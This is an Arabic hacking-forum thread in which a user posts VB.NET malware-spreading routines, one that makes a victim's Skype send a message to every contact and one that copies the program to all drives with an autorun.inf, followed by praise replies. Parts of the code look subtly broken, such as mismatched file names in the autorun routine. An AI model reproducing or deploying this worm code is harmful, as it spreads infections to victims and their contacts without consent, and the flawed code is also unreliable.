حالة الموضوع:
مغلق
  1. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    [BGYELLOW]كيف الحال يااعضاء وزوار عراق تيم يارب الجميع بخير
    [/BGYELLOW]
    حبيت اطرح عليكم كود انتشار في ال
    Skype




    وكود الانتشار بال USB او جميع الاقراص


    تشغييييل تلقائي
    _________________________________________________--


    Skype_1

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]  Sub SkypeSpread()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]If "%SKYPE%" = "True" Then[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.BaseStream.Seek(0, SeekOrigin.End)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("on error resume next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Client.Start()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Attach()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("For Each KZN In Fruxr.Friends")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.Close()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim p As New Process[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim ProcessProperties As New ProcessStartInfo[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim myProcess As Process = Process.Start(ProcessProperties)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]myProcess.WaitForExit()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Threading.Thread.Sleep(5000)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Catch ex As Exception[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]MsgBox(ex.ToString)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End If[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Sub[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]

    [FONT=tahoma, geneva, lucida, lucida grande, arial, helvetica, sans-serif]
    [/FONT]

    USB_2

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]
    [/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]Sub usb()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Coded By CaRlos / old Name Toto[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Www.dev-point.com/vb[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]       ' My Email : ########[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' اي خطا يجي تجاوزه واستمر في الكود[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        On Error Resume Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' يجلب جميع اسمء الاقراص[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        For Each x In IO.DriveInfo.GetDrives[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يفصل بين كل اسم قرص بفاصلة ,[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim xx As String = x.ToString & ","[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يقوم ب فصل جميع الاقراص  [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim s As String() = Split(xx, ",")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' اسم السيرفر[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim n As String = "Ser.Exe"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' محتوى ال اوتورن[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim run As String = ""[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "[AutoRun]" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "open=AutoRun.exe" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "icon=nameicon.ico"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' تدخيل اسماء الاقراص الى حلقة فور[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            For i = 0 To s.Length - 1[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' ينسخ البرنامج  الى  جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر   [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.Copy(Application.ExecutablePath, s(i) & n, True)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' يقوم بانشاء الاتورون بصيغة inf[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.WriteAllText(s(i), run & "autorun.inf")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]    End Sub[/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]





    في كود الUSB
    تضيف تايمر


    وتكتب


    كود:
    usb()
     
  2. عہۧلہۧي سہۧعہۧد عہۧمہۧران

    عہۧلہۧي سہۧعہۧد عہۧمہۧران Developer

    الأنتساب:
    ‏12 يونيو 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله فيك نورت المنتدى
     
  3. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: انتشار في USB و Skype و جميع الاقراص

    شكرا للمرور حبيبي
     
  4. Mira

    Mira .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    662
    الإعجابات المتلقاة:
    122
    نقاط الجائزة:
    43
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    رد: انتشار في USB و Skype و جميع الاقراص

    [​IMG]عاشت الايادي[​IMG]
    "ياريت تعديل الاكواد من قبل الاداره"
     
  5. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله بيك يا طيب
     
  6. آرْ بْيْ جْيْ ڪْرْڪْوْڪْ

    آرْ بْيْ جْيْ ڪْرْڪْوْڪْ DeveloPer Plus

    الأنتساب:
    ‏24 أغسطس 2015
    المشاركات:
    147
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: انتشار في USB و Skype و جميع الاقراص

    عشت -كلك ابداع
     
  7. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: انتشار في USB و Skype و جميع الاقراص

    • نورتيني <3
     
  8. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
  9. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
  10. لوفي العراقي HACKER

    لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة